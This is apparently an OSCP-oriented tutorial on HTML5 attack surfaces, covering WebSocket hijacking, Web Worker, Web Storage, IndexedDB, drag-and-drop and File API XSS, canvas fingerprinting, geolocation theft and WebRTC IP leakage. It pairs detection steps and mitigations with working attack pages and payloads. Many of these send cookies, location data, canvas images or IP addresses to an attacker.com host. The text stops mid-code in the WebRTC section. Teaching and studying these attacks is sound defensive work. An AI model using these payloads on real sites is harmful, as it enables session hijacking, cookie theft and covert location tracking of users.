HTML5 Security Issues
Table of Contents
- Introduction to HTML5 Security
- WebSockets - Cross-Site WebSocket Hijacking
- Web Workers - Script Injection
- Canvas Attacks
- Geolocation API - Location Data Theft
- Web Storage Attacks
- IndexedDB - Stored XSS via Database
- Drag & Drop - Data URI Injection
- File API - Malicious File Handling
- WebRTC - IP Address Leakage
- Notification API - Phishing via Notifications
- OSCP Lab Scenarios and Tips
- Summary Table
- References
1. Introduction to HTML5 Security
HTML5 introduced a rich set of new APIs and features that transformed web applications into powerful, desktop-like experiences. However, these new capabilities also introduced novel attack vectors that traditional web security controls often fail to address.
Why HTML5 Security Matters for OSCP
- Client-side attack surface expansion: HTML5 APIs provide new ways to access sensitive data, bypass security controls, and maintain persistence.
- Real-world relevance: Many OSCP lab machines incorporate HTML5-based vulnerabilities.
- Post-exploitation value: HTML5 attacks can lead to information disclosure, session hijacking, and lateral movement.
The HTML5 Security Model
HTML5 security relies heavily on the Same-Origin Policy (SOP), but many APIs have edge cases, implementation flaws, or design decisions that can be exploited:
| Security Mechanism | Purpose | Common Weakness |
|---|---|---|
| Same-Origin Policy | Isolate origins | Bypassed via misconfigured CORS, WebSocket hijacking |
| CORS Headers | Controlled cross-origin access | Overly permissive Access-Control-Allow-Origin: * |
| CSP Headers | Restrict resource loading | Missing or weak policies |
| Secure Cookies | Session protection | Not always applied to WebSocket auth |
| Origin Headers | Request source identification | Can be spoofed in some contexts |
Attack Categories
HTML5 Attack Vectors
├── Data Exfiltration
│ ├── Canvas pixel reading
│ ├── WebRTC IP leakage
│ └── Geolocation theft
├── Injection & XSS
│ ├── Web Storage XSS
│ ├── IndexedDB XSS
│ ├── Web Worker injection
│ └── Drag & Drop injection
├── Session Hijacking
│ ├── Cross-site WebSocket hijacking
│ └── Cookie-based auth reuse
├── Privacy Violations
│ ├── Canvas fingerprinting
│ ├── Location tracking
│ └── Device enumeration
└── Social Engineering
├── Notification phishing
└── File API manipulation
2. WebSockets - Cross-Site WebSocket Hijacking
Technical Explanation
Cross-Site WebSocket Hijacking (CSWH) is analogous to Cross-Site Request Forgery (CSRF) but targets WebSocket connections. When a WebSocket connection is established, the browser automatically includes cookies from the target origin. If the server relies solely on cookies for authentication (without additional anti-CSRF tokens), an attacker can hijack an authenticated user’s WebSocket session.
The WebSocket Handshake
A WebSocket connection begins with an HTTP upgrade request:
GET /chat HTTP/1.1
Host: vulnerable-app.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://attacker.com
Cookie: sessionid=abc123secret
The server responds with:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Critical vulnerability: The Origin header can be set by the attacker, and if the server doesn’t validate it, the connection is established with the victim’s cookies.
Attack Vector
<!-- attacker.html - CSWH Attack Page -->
<!DOCTYPE html>
<html>
<head>
<title>WebSocket Hijacking Demo</title>
</head>
<body>
<h1>WebSocket Hijacking Attack</h1>
<div id="output"></div>
<script>
// Connect to the victim's WebSocket endpoint
// The browser will automatically include the victim's cookies
// if the victim is logged into vulnerable-app.com
var ws = new WebSocket('wss://vulnerable-app.com/chat');
ws.onopen = function() {
console.log('WebSocket connection established!');
document.getElementById('output').innerHTML =
'<p style="color: green;">Connected to victim\'s WebSocket!</p>';
// Send malicious messages as the victim
ws.send('{"action": "message", "text": "Hijacked session!"}');
};
ws.onmessage = function(event) {
console.log('Received from victim session:', event.data);
document.getElementById('output').innerHTML +=
'<p>Received: ' + event.data + '</p>';
// Exfiltrate data to attacker server
var img = new Image();
img.src = 'https://attacker.com/collect?data=' +
encodeURIComponent(event.data);
};
ws.onerror = function(error) {
console.error('WebSocket error:', error);
};
ws.onclose = function() {
console.log('WebSocket connection closed');
};
</script>
</body>
</html>
Detection Methodology
-
Check WebSocket endpoint authentication:
# Test if WebSocket accepts connections without proper auth wscat -c wss://target.com/chat -
Verify Origin header validation:
# Check if server validates Origin header curl -i -N \ -H "Connection: Upgrade" \ -H "Upgrade: websocket" \ -H "Sec-WebSocket-Version: 13" \ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \ -H "Origin: https://evil.com" \ https://target.com/chat -
Browser DevTools:
- Open Network tab → WS filter
- Check handshake headers for Origin validation
- Verify authentication tokens beyond cookies
Mitigation Strategies
| Strategy | Implementation | Effectiveness |
|---|---|---|
| Token-based auth | Include anti-CSRF token in first WebSocket message | High |
| Origin validation | Server validates Origin header against whitelist | Medium |
| Auth beyond cookies | Require additional auth in WebSocket frame data | High |
| Secure cookie flags | Set Secure, HttpOnly, SameSite on session cookies |
Medium |
| Short-lived sessions | Reduce session timeout for WebSocket connections | Low-Medium |
Server-Side Fix Example (Node.js)
const WebSocket = require('ws');
const wss = new WebSocket.Server({ noServer: true });
// Validate Origin header
function isOriginAllowed(origin) {
const allowedOrigins = [
'https://vulnerable-app.com',
'https://www.vulnerable-app.com'
];
return allowedOrigins.includes(origin);
}
server.on('upgrade', (request, socket, head) => {
const origin = request.headers.origin;
if (!isOriginAllowed(origin)) {
socket.write('HTTP/1.1 403 Forbidden\r\n\r\n');
socket.destroy();
return;
}
wss.handleUpgrade(request, socket, head, (ws) => {
wss.emit('connection', ws, request);
});
});
// Require token in first message
wss.on('connection', (ws, req) => {
ws.awaitingAuth = true;
ws.on('message', (message) => {
if (ws.awaitingAuth) {
const data = JSON.parse(message);
if (!validateToken(data.token)) {
ws.close(4001, 'Authentication failed');
return;
}
ws.awaitingAuth = false;
}
});
});
3. Web Workers - Script Injection
Technical Explanation
Web Workers allow JavaScript to run in background threads, separate from the main UI thread. Security issues arise when:
- Worker scripts are loaded from user-controlled URLs
- Worker code processes unsanitized data and reflects it back
- Workers communicate with the main thread, creating XSS bridges
Attack Vector 1: Worker Script URL Injection
If an application dynamically creates workers from user-supplied URLs:
// Vulnerable code on target site
var workerUrl = getUserInput(); // User-controlled!
var worker = new Worker(workerUrl);
worker.onmessage = function(e) {
document.getElementById('output').innerHTML = e.data;
};
Attack:
<!-- Attacker crafts malicious worker URL -->
<script>
// User input controlled by attacker:
// https://attacker.com/evil-worker.js
// The evil-worker.js contains:
// self.onmessage = function(e) {
// self.postMessage('<img src=x onerror=alert(document.cookie)>');
// };
</script>
Attack Vector 2: Blob URL Worker Injection
// Vulnerable pattern - creating worker from user data
var userCode = getUserSuppliedCode();
var blob = new Blob([userCode], { type: 'application/javascript' });
var worker = new Worker(URL.createObjectURL(blob));
worker.onmessage = function(e) {
// Unsafe DOM insertion of worker response
document.body.innerHTML += e.data;
};
Exploit:
// Attacker-supplied code for the Blob worker
var maliciousWorkerCode = `
self.onmessage = function(e) {
// Exfiltrate data via worker
var leak = document.cookie;
self.postMessage('<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>');
};
`;
Attack Vector 3: SharedWorker Injection
// SharedWorker persists across tabs and can be hijacked
var sw = new SharedWorker('processor.js');
sw.port.onmessage = function(e) {
// If processor.js reflects data unsafely
document.getElementById('result').innerHTML = e.data;
};
sw.port.postMessage(userInput); // Attacker controls this
Detection Methodology
-
Search for Worker constructors:
// In browser console Object.getOwnPropertyNames(window).filter(n => n.includes('Worker')) -
Check for Blob URL workers:
// Monitor for worker creation var origWorker = window.Worker; window.Worker = function(url) { console.log('Worker created from:', url); return new origWorker(url); }; -
Grep source code:
grep -rn "new Worker" --include="*.js" . grep -rn "new SharedWorker" --include="*.js" . grep -rn "createObjectURL" --include="*.js" .
Mitigation Strategies
- Never create workers from user-controlled URLs
- Validate and sanitize all data sent to/from workers
- Use
textContentinstead ofinnerHTMLfor worker responses - Implement Content Security Policy:
Content-Security-Policy: worker-src 'self' - Avoid Blob URL workers with untrusted data
4. Canvas Attacks
4.1 Canvas Fingerprinting
Technical Explanation
Canvas fingerprinting exploits subtle differences in how browsers render graphics to create a unique identifier for each user. When text and graphics are rendered to a canvas, the resulting pixel data varies based on:
- Operating system and version
- Installed fonts
- Graphics drivers and GPU
- Browser rendering engine
- Browser version and patches
How It Works
User visits page with canvas element
│
▼
Canvas renders specific text + graphics
│
▼
Pixel data is extracted via toDataURL()
│
▼
Hash is computed from pixel data
│
▼
Hash is sent to tracking server
│
▼
User is identified across sites
Working Code Example
<!DOCTYPE html>
<html>
<head>
<title>Canvas Fingerprinting Demo</title>
</head>
<body>
<h1>Canvas Fingerprint Generator</h1>
<canvas id="fpCanvas" width="260" height="200" style="border:1px solid #ccc;"></canvas>
<div id="fingerprint"></div>
<script>
function generateCanvasFingerprint() {
var canvas = document.getElementById('fpCanvas');
var ctx = canvas.getContext('2d');
// Anti-aliasing text
ctx.textBaseline = "top";
ctx.font = "14px 'Arial'";
ctx.textAlign = "center";
ctx.fillStyle = "#f60";
ctx.fillRect(125, 1, 62, 20);
ctx.fillStyle = "#069";
ctx.fillText("Canvas Fingerprinting! C173?", 2, 15);
ctx.fillStyle = "rgba(102, 204, 0, 0.7)";
ctx.fillText("Canvas Fingerprinting! C173?", 4, 17);
// Gradient and arc
var gradient = ctx.createLinearGradient(0, 0, canvas.width, 0);
gradient.addColorStop(0, "red");
gradient.addColorStop(0.5, "green");
gradient.addColorStop(1, "blue");
ctx.fillStyle = gradient;
ctx.fillRect(0, 25, canvas.width, 55);
ctx.arc(canvas.width / 2, canvas.height / 2, 75, 0, Math.PI * 2);
ctx.stroke();
// Get the fingerprint data
var fingerprintData = canvas.toDataURL();
// Compute hash
var hash = simpleHash(fingerprintData);
document.getElementById('fingerprint').innerHTML =
'<p><strong>Canvas Hash:</strong> ' + hash + '</p>' +
'<p><strong>Data URL length:</strong> ' + fingerprintData.length + '</p>';
// Exfiltrate fingerprint
var img = new Image();
img.src = 'https://attacker.com/track?fp=' + hash;
return hash;
}
function simpleHash(str) {
var hash = 0;
for (var i = 0; i < str.length; i++) {
var char = str.charCodeAt(i);
hash = ((hash << 5) - hash) + char;
hash = hash & hash; // Convert to 32bit integer
}
return Math.abs(hash).toString(16);
}
// Generate on load
generateCanvasFingerprint();
</script>
</body>
</html>
Advanced Fingerprinting (FingerprintJS-style)
function advancedFingerprint() {
var canvas = document.createElement('canvas');
canvas.width = 280;
canvas.height = 60;
canvas.style.cssText = 'left:-99999px;top:-99999px;position:absolute;';
document.body.appendChild(canvas);
var ctx = canvas.getContext('2d');
// Shadow text
ctx.textBaseline = 'alphabetic';
ctx.fillStyle = '#f60';
ctx.fillRect(125, 1, 62, 20);
ctx.fillStyle = '#069';
ctx.font = '11pt Arial';
ctx.fillText('canvas_fp_test', 2, 15);
// Image data for more entropy
ctx.fillStyle = 'rgba(102, 204, 0, 0.7)';
ctx.font = '18px Arial';
ctx.fillText('Canvas Fingerprinting!', 4, 35);
var dataURL = canvas.toDataURL();
document.body.removeChild(canvas);
return dataURL;
}
4.2 Canvas Data Exfiltration
Cross-Origin Image Reading Attack
The Canvas API has a security mechanism called taint. When you draw a cross-origin image onto a canvas without proper CORS headers, the canvas becomes “tainted” and you cannot read pixel data. However, there are scenarios where this protection fails:
Scenario 1: Images with Proper CORS Headers
// If the target image server sends:
// Access-Control-Allow-Origin: *
// Then the canvas is NOT tainted and data can be read
var img = new Image();
img.crossOrigin = 'anonymous'; // Request with CORS
img.onload = function() {
var canvas = document.createElement('canvas');
canvas.width = img.width;
canvas.height = img.height;
var ctx = canvas.getContext('2d');
ctx.drawImage(img, 0, 0);
// This works because CORS allows it!
var imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
// Exfiltrate pixel data
var dataURL = canvas.toDataURL();
new Image().src = 'https://attacker.com/steal?img=' + encodeURIComponent(dataURL);
};
img.src = 'https://victim.com/sensitive-image.png';
Scenario 2: PDF and Document Extraction
// Some browsers allow reading canvas data from PDFs
// if the PDF doesn't set X-Frame-Options properly
function extractPDFContent(pdfUrl) {
var canvas = document.createElement('canvas');
var ctx = canvas.getContext('2d');
// Load PDF page as image
var img = new Image();
img.onload = function() {
ctx.drawImage(img, 0, 0);
try {
// Try to read pixel data
var data = ctx.getImageData(0, 0, canvas.width, canvas.height);
// Success - canvas not tainted
exfiltrateData(canvas.toDataURL());
} catch(e) {
// Canvas tainted - cross-origin protection active
console.log('Canvas tainted, cannot read data');
}
};
img.src = pdfUrl + '#page=1';
}
Scenario 3: Screenshot via Canvas
// If victim is on a page that draws content to canvas
// and the canvas is not tainted, attacker can capture it
function captureCanvasContent() {
// Find all canvases on the page
var canvases = document.querySelectorAll('canvas');
canvases.forEach(function(canvas, index) {
try {
var dataURL = canvas.toDataURL('image/png');
// Exfiltrate
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/capture', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
index: index,
data: dataURL,
width: canvas.width,
height: canvas.height
}));
} catch(e) {
console.log('Canvas ' + index + ' is tainted');
}
});
}
4.3 Privacy Implications
| Aspect | Risk Level | Description |
|---|---|---|
| Cross-site tracking | High | Canvas fingerprint persists across sites without cookies |
| Cookie bypass | High | Works even in private/incognito mode |
| Ad blocker evasion | Medium | Not blocked by traditional ad blockers |
| Sensitive data extraction | Medium-High | If canvas is untainted, pixel data reveals content |
| Font enumeration | Medium | Reveals installed fonts, narrowing user identity |
Browser Anti-Fingerprinting Measures
// Firefox and some browsers randomize or block canvas data
function checkCanvasPrivacy() {
var canvas = document.createElement('canvas');
canvas.width = 1;
canvas.height = 1;
var ctx = canvas.getContext('2d');
ctx.fillStyle = '#000';
ctx.fillRect(0, 0, 1, 1);
var data1 = canvas.toDataURL();
// Render again
ctx.fillStyle = '#000';
ctx.fillRect(0, 0, 1, 1);
var data2 = canvas.toDataURL();
// If browser randomizes, these may differ
if (data1 !== data2) {
console.log('Browser randomizes canvas output (privacy protection)');
}
}
5. Geolocation API - Location Data Theft
Technical Explanation
The Geolocation API allows web applications to access the user’s physical location. While browsers require user permission, there are attack vectors:
- Social engineering to obtain permission
- Permission persistence abuse
- Location data exfiltration once access is granted
Working Code Example
<!DOCTYPE html>
<html>
<head>
<title>Geolocation Data Theft</title>
</head>
<body>
<h1>Location Service</h1>
<p>Please enable location services to continue...</p>
<div id="location"></div>
<script>
function stealLocation() {
if ('geolocation' in navigator) {
navigator.geolocation.getCurrentPosition(
function(position) {
var lat = position.coords.latitude;
var lon = position.coords.longitude;
var accuracy = position.coords.accuracy;
var altitude = position.coords.altitude;
var heading = position.coords.heading;
var speed = position.coords.speed;
var locationData = {
lat: lat,
lon: lon,
accuracy: accuracy,
altitude: altitude,
timestamp: position.timestamp
};
document.getElementById('location').innerHTML =
'Location acquired: ' + lat + ', ' + lon;
// Exfiltrate location data
exfiltrateLocation(locationData);
// Start continuous tracking
startWatchingPosition();
},
function(error) {
console.error('Geolocation error:', error.message);
},
{
enableHighAccuracy: true,
timeout: 5000,
maximumAge: 0
}
);
}
}
function exfiltrateLocation(data) {
var img = new Image();
img.src = 'https://attacker.com/location?' +
'lat=' + data.lat +
'&lon=' + data.lon +
'&acc=' + data.accuracy;
}
function startWatchingPosition() {
var watchId = navigator.geolocation.watchPosition(
function(position) {
var data = {
lat: position.coords.latitude,
lon: position.coords.longitude,
time: new Date().toISOString()
};
exfiltrateLocation(data);
},
null,
{ enableHighAccuracy: true }
);
}
// Auto-execute on page load
stealLocation();
</script>
</body>
</html>
Detection Methodology
- Browser permission prompts: Modern browsers show permission dialogs
- DevTools monitoring:
// Monitor geolocation calls var origGetCurrentPosition = navigator.geolocation.getCurrentPosition; navigator.geolocation.getCurrentPosition = function(success, error, options) { console.warn('Geolocation access requested!'); console.trace(); return origGetCurrentPosition.call(this, success, error, options); };
Mitigation Strategies
- Revoke site permissions in browser settings
- Use browser extensions to block geolocation
- Enable “Ask every time” instead of “Allow”
- Use private browsing for sensitive activities
6. Web Storage Attacks
6.1 localStorage XSS
Technical Explanation
localStorage and sessionStorage provide client-side data persistence. The critical vulnerability occurs when:
- An application stores user-controlled data in Web Storage
- Another page (or the same page) reads this data and inserts it into the DOM unsafely
Key characteristic: Web Storage is origin-scoped, not path-scoped. Data stored at evil.com/page1 is accessible at evil.com/page2.
Vulnerable Pattern
// Page 1 - Stores user input (vulnerable)
var userInput = document.getElementById('comment').value;
localStorage.setItem('lastComment', userInput);
// Page 2 - Reads and displays (vulnerable)
var lastComment = localStorage.getItem('lastComment');
document.getElementById('display').innerHTML = lastComment; // XSS!
Working Exploit Example
<!-- Step 1: Inject payload via localStorage -->
<!DOCTYPE html>
<html>
<body>
<h1>localStorage XSS Injection</h1>
<input type="text" id="payload" value='<img src=x onerror="alert(document.cookie)">' />
<button onclick="inject()">Inject Payload</button>
<script>
function inject() {
var payload = document.getElementById('payload').value;
localStorage.setItem('username', payload);
alert('Payload injected into localStorage!');
alert('Now navigate to the vulnerable page.');
}
</script>
</body>
</html>
// Step 2: Vulnerable page reads localStorage
// This code exists on the target application
window.onload = function() {
var username = localStorage.getItem('username');
if (username) {
// VULNERABLE - unsafe DOM insertion
document.getElementById('welcome').innerHTML =
'Welcome back, ' + username + '!';
}
};
Advanced localStorage XSS Chain
// Multi-page XSS via localStorage
// Page A (attacker-controlled or reflected input)
localStorage.setItem('redirectUrl', 'javascript:alert(document.domain)');
// Page B (vulnerable - uses stored URL for redirect)
var url = localStorage.getItem('redirectUrl');
window.location = url; // XSS via javascript: URL
// Page C (vulnerable - displays stored data)
var data = localStorage.getItem('userPref');
document.write(data); // XSS via document.write
DOM Storage Event Exploitation
// The 'storage' event fires on OTHER tabs/windows when localStorage changes
// This can be used for cross-page XSS
// Attacker tab - sets value
localStorage.setItem('xss', '<script>alert(1)</script>');
// Victim tab (has event listener)
window.addEventListener('storage', function(e) {
if (e.key === 'xss') {
// VULNERABLE - renders new value unsafely
document.getElementById('output').innerHTML = e.newValue;
}
});
6.2 sessionStorage Exploitation
Technical Explanation
sessionStorage is similar to localStorage but data is cleared when the tab/window is closed. It is also scoped to the tab’s origin.
Vulnerable Scenarios
// Scenario 1: SPA with sessionStorage state
// User input stored in sessionStorage
sessionStorage.setItem('searchQuery', userSearchInput);
// Later rendered unsafely
var query = sessionStorage.getItem('searchQuery');
document.getElementById('results').innerHTML =
'Search results for: ' + query;
// Scenario 2: iframe communication
// Parent page sets sessionStorage
sessionStorage.setItem('sharedData', maliciousPayload);
// Child iframe reads and renders
var data = sessionStorage.getItem('sharedData');
document.body.innerHTML = data;
Working Exploit
<!DOCTYPE html>
<html>
<body>
<h1>sessionStorage XSS</h1>
<script>
// Inject into sessionStorage
var xssPayload = '<svg onload="new Image().src=\'https://attacker.com/cookie?c=\' + document.cookie">';
sessionStorage.setItem('theme', xssPayload);
// If the app reads this on page load:
// var theme = sessionStorage.getItem('theme');
// document.getElementById('themeDiv').innerHTML = theme;
// Navigate to trigger
setTimeout(function() {
window.location.href = '/vulnerable-page';
}, 1000);
</script>
</body>
</html>
6.3 Unsafe Storage-to-DOM Patterns
Common Vulnerable Patterns
// Pattern 1: Direct innerHTML assignment
var data = localStorage.getItem('key');
element.innerHTML = data; // VULNERABLE
// Pattern 2: document.write
var data = sessionStorage.getItem('key');
document.write(data); // VULNERABLE
// Pattern 3: jQuery html()
var data = localStorage.getItem('key');
$('#element').html(data); // VULNERABLE
// Pattern 4: Template literals with innerHTML
var data = localStorage.getItem('key');
element.innerHTML = `<div>${data}</div>`; // VULNERABLE
// Pattern 5: eval of stored data
var code = localStorage.getItem('userScript');
eval(code); // CRITICAL - arbitrary code execution
Safe Alternatives
// Safe Pattern 1: textContent
var data = localStorage.getItem('key');
element.textContent = data; // SAFE
// Safe Pattern 2: createTextNode
var data = localStorage.getItem('key');
var textNode = document.createTextNode(data);
element.appendChild(textNode); // SAFE
// Safe Pattern 3: jQuery text()
var data = localStorage.getItem('key');
$('#element').text(data); // SAFE
// Safe Pattern 4: DOMPurify for HTML
var data = localStorage.getItem('key');
var clean = DOMPurify.sanitize(data);
element.innerHTML = clean; // SAFE (with sanitization)
Detection Checklist
□ Search for localStorage.getItem() followed by innerHTML
□ Search for sessionStorage.getItem() followed by document.write
□ Search for .html() calls with storage data
□ Check for eval() on storage values
□ Verify storage event handlers sanitize data
□ Test with XSS payloads stored in Web Storage
7. IndexedDB - Stored XSS via Database
Technical Explanation
IndexedDB is a client-side NoSQL database that can store large amounts of structured data. Security issues arise when:
- User-controlled data is stored in IndexedDB without sanitization
- Stored data is retrieved and rendered into the DOM unsafely
- IndexedDB is used to persist malicious scripts for later execution
Working Code Example
// Vulnerable application code
// Store user data in IndexedDB
function saveToDatabase(userInput) {
var request = indexedDB.open('UserApp', 1);
request.onupgradeneeded = function(event) {
var db = event.target.result;
db.createObjectStore('entries', { keyPath: 'id', autoIncrement: true });
};
request.onsuccess = function(event) {
var db = event.target.result;
var transaction = db.transaction(['entries'], 'readwrite');
var store = transaction.objectStore('entries');
// VULNERABLE - storing unsanitized input
store.add({ content: userInput, timestamp: Date.now() });
};
}
// Retrieve and display (VULNERABLE)
function loadFromDatabase() {
var request = indexedDB.open('UserApp', 1);
request.onsuccess = function(event) {
var db = event.target.result;
var transaction = db.transaction(['entries'], 'readonly');
var store = transaction.objectStore('entries');
var getAll = store.getAll();
getAll.onsuccess = function() {
var entries = getAll.result;
entries.forEach(function(entry) {
// VULNERABLE - unsafe DOM insertion
document.getElementById('content').innerHTML +=
'<div>' + entry.content + '</div>';
});
};
};
}
Exploit Code
<!DOCTYPE html>
<html>
<body>
<h1>IndexedDB XSS Injection</h1>
<button onclick="injectXSS()">Inject XSS into IndexedDB</button>
<div id="status"></div>
<script>
function injectXSS() {
var xssPayload = '<img src=x onerror="alert(\'IndexedDB XSS!\'); ' +
'new Image().src=\'https://attacker.com/steal?c=\' + document.cookie">';
var request = indexedDB.open('UserApp', 1);
request.onupgradeneeded = function(event) {
var db = event.target.result;
if (!db.objectStoreNames.contains('entries')) {
db.createObjectStore('entries', { keyPath: 'id', autoIncrement: true });
}
};
request.onsuccess = function(event) {
var db = event.target.result;
var transaction = db.transaction(['entries'], 'readwrite');
var store = transaction.objectStore('entries');
store.add({ content: xssPayload, timestamp: Date.now() });
document.getElementById('status').innerHTML =
'<p style="color: green;">XSS payload injected into IndexedDB!</p>';
document.getElementById('status').innerHTML +=
'<p>Reload the vulnerable page to trigger.</p>';
};
}
// Clear IndexedDB for testing
function clearDatabase() {
var request = indexedDB.open('UserApp', 1);
request.onsuccess = function(event) {
var db = event.target.result;
var transaction = db.transaction(['entries'], 'readwrite');
var store = transaction.objectStore('entries');
store.clear();
console.log('IndexedDB cleared');
};
}
</script>
</body>
</html>
Detection Methodology
-
Browser DevTools:
- Application tab → IndexedDB
- Inspect stored data for malicious content
-
Console commands:
// List all databases indexedDB.databases().then(function(dbs) { console.log('Databases:', dbs); }); // Inspect a database var request = indexedDB.open('SuspectDB', 1); request.onsuccess = function(e) { var db = e.target.result; console.log('Object stores:', db.objectStoreNames); }; -
Grep for IndexedDB usage:
grep -rn "indexedDB" --include="*.js" . grep -rn "openDatabase" --include="*.js" .
Mitigation Strategies
- Sanitize all data before storing in IndexedDB
- Use
textContentwhen rendering stored data - Implement input validation on the server side
- Apply Content Security Policy to limit script execution
8. Drag & Drop - Data URI Injection
Technical Explanation
The HTML5 Drag and Drop API allows users to drag elements and drop them onto targets. The DataTransfer object can carry various data types, including:
- Text
- URLs
- Files
- HTML markup
- Custom data
Vulnerability: If an application processes dropped data unsafely, especially HTML or Data URIs, it can lead to XSS.
Working Code Example
<!DOCTYPE html>
<html>
<body>
<h1>Drag & Drop XSS Demo</h1>
<!-- Draggable element with malicious data -->
<div id="dragSource" draggable="true"
ondragstart="event.dataTransfer.setData('text/html', '<img src=x onerror=alert(1)>')">
Drag me to the drop zone
</div>
<br><br>
<!-- Drop zone (vulnerable) -->
<div id="dropZone"
ondragover="event.preventDefault()"
ondrop="handleDrop(event)"
style="width:300px; height:200px; border:2px dashed #333; padding:20px;">
Drop here
</div>
<script>
function handleDrop(event) {
event.preventDefault();
// VULNERABLE - getting HTML data and inserting directly
var htmlData = event.dataTransfer.getData('text/html');
if (htmlData) {
document.getElementById('dropZone').innerHTML = htmlData;
}
// Also check text/uri-list
var uri = event.dataTransfer.getData('text/uri-list');
if (uri) {
// VULNERABLE if javascript: URI
window.location = uri;
}
}
</script>
</body>
</html>
Data URI Injection Attack
// Attacker sets Data URI as drag data
event.dataTransfer.setData('text/uri-list',
'data:text/html,<script>alert(document.cookie)</script>');
// Or SVG Data URI
event.dataTransfer.setData('text/html',
'<img src="data:image/svg+xml,<svg onload=\'alert(1)\'">');
File Drag & Drop Attack
// When files are dropped, check for malicious content
function handleFileDrop(event) {
var files = event.dataTransfer.files;
for (var i = 0; i < files.length; i++) {
var file = files[i];
// Read file content
var reader = new FileReader();
reader.onload = function(e) {
var content = e.target.result;
// VULNERABLE - rendering file content as HTML
document.getElementById('preview').innerHTML = content;
};
reader.readAsText(file);
}
}
Mitigation Strategies
- Use
getData('text/plain')instead ofgetData('text/html') - Sanitize HTML data before insertion
- Validate and sanitize file contents
- Restrict allowed file types
- Use
textContentfor safe insertion
9. File API - Malicious File Handling
Technical Explanation
The HTML5 File API allows web applications to access files selected by the user. Security issues include:
- Malicious file content processing
- File name-based vulnerabilities
- Preview rendering XSS
- File type confusion attacks
Working Code Example
<!DOCTYPE html>
<html>
<body>
<h1>File API XSS Demo</h1>
<input type="file" id="fileInput" onchange="handleFileSelect(event)" />
<div id="preview"></div>
<script>
function handleFileSelect(event) {
var file = event.target.files[0];
if (!file) return;
console.log('File name:', file.name);
console.log('File type:', file.type);
console.log('File size:', file.size);
// VULNERABLE Pattern 1: Render HTML files directly
if (file.type === 'text/html' || file.name.endsWith('.html')) {
var reader = new FileReader();
reader.onload = function(e) {
// XSS - rendering user file as HTML
document.getElementById('preview').innerHTML = e.target.result;
};
reader.readAsText(file);
}
// VULNERABLE Pattern 2: Image preview with SVG
if (file.type === 'image/svg+xml') {
var reader = new FileReader();
reader.onload = function(e) {
var img = document.createElement('img');
img.src = e.target.result; // Data URI with embedded script
document.getElementById('preview').appendChild(img);
};
reader.readAsDataURL(file);
}
// VULNERABLE Pattern 3: Text file preview
if (file.type.startsWith('text/')) {
var reader = new FileReader();
reader.onload = function(e) {
// If text contains HTML entities, they get rendered
document.getElementById('preview').innerHTML =
'<pre>' + e.target.result + '</pre>';
};
reader.readAsText(file);
}
}
</script>
</body>
</html>
Malicious SVG File
<!-- malicious.svg - uploaded via File API -->
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="300">
<script type="text/javascript">
alert('SVG XSS!');
new Image().src = 'https://attacker.com/steal?c=' + document.cookie;
</script>
<rect width="400" height="300" fill="red" />
</svg>
Mitigation Strategies
| Strategy | Implementation |
|---|---|
| Validate file type | Check MIME type AND file extension |
| Sanitize content | Use DOMPurify or similar for HTML content |
| Safe preview | Use textContent or iframe with sandbox |
| Restrict file types | Whitelist allowed MIME types |
| Server-side validation | Never trust client-side file type checks |
10. WebRTC - IP Address Leakage
10.1 How the Leak Works
WebRTC (Web Real-Time Communication) enables peer-to-peer communication directly in the browser. A critical privacy issue is that WebRTC can bypass proxy settings and reveal the user’s real IP address, even when the user is connected through a VPN or proxy.
Technical Flow
Browser initiates WebRTC connection
│
▼
STUN/TURN servers contacted
│
▼
Local IP addresses discovered
(via ICE candidates)
│
▼
IP addresses exposed to JavaScript
│
▼
Attacker reads local IPs
│
▼
Real IP leaked (bypassing proxy/VPN)
Why It Bypasses Proxy/VPN
- WebRTC uses UDP, not HTTP
- Proxy servers typically only intercept HTTP/HTTPS
- WebRTC creates direct peer-to-peer connections
- STUN servers reveal local and public IPs via ICE candidates
10.2 Working Code Example
<!DOCTYPE html>
<html>
<head>
<title>WebRTC IP Leak Detector</title>
</head>
<body>
<h1>WebRTC IP Address Leakage Test</h1>
<div id="ipResults"></div>
<canvas id="ipCanvas" style="display:none;"></canvas>
<script>
function getIPs(callback) {
var ipDups = {};
var ipCanvas = document.getElementById('ipCanvas');
var RTCPeerConnection = window.RTCPeerConnection ||
window.mozRTCPeerConnection ||
window.webkitRTCPeerConnection;
if (!RTCPeerConnection) {
callback('WebRTC not supported');
return;
}
var useIPv6 = true;
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
var servers = {
iceServers: [
{urls: 'stun:stun.l.google.com:19302'},
{urls: 'stun:stun1.l.google.com:19302'},
{urls: 'stun:stun2.l.google.com:19302'},
{urls: 'stun:stun3.l.google.com:19302'},
{urls: 'stun:stun4.l.google.com:19302'}
]
};
try {
var pc = new RTCPeerConnection(servers, mediaConstraints);
} catch (e) {
callback('RTCPeerConnection creation failed: ' + e.message);
return;
}
// Create a dummy data channel
pc.createDataChannel('');
pc.createOffer(function(result) {
pc.setLocalDescription(result, function() {}, function() {});
}, function() {});
// Wait for ICE candidates
setTimeout(function() {
var lines = pc.localDescription.sdp.split('\n');
lines.forEach(function(line) {
if (line.indexOf('a=candidate:') === 0) {
var parts = line.split(' ');
var ip = parts[4];
var type = parts[7];
if (ipDups[ip] === undefined) {
callback(ip, type);
}
ipDups[ip] = true;
}
});
pc.close();
}, 1000);
}
// Display results
getIPs(function(ip, type) {
var results = document.getElementById('ipResults');
var entry = document.createElement('div');
entry.innerHTML = '<strong>' + type + ':</strong> ' + ip;
results.appendChild(entry);
// Exfiltrate IP to attacker
var img = new Image();
img.src = 'https://attacker.com/ip-leak?ip=' + encodeURIComponent(ip) +
'&type=' + type;
});
</script>
</body>
</html>
Simplified Modern Version
async function leakIP() {
return new Promise((resolve, reject) => {
const pc = new RTCPeerConnection({
iceServers: [
{ urls: 'stun:stun.l.google.com:19302' }
]
});
pc.createDataChannel('');
pc.onicecandidate = (ice) => {
if (ice.candidate) {
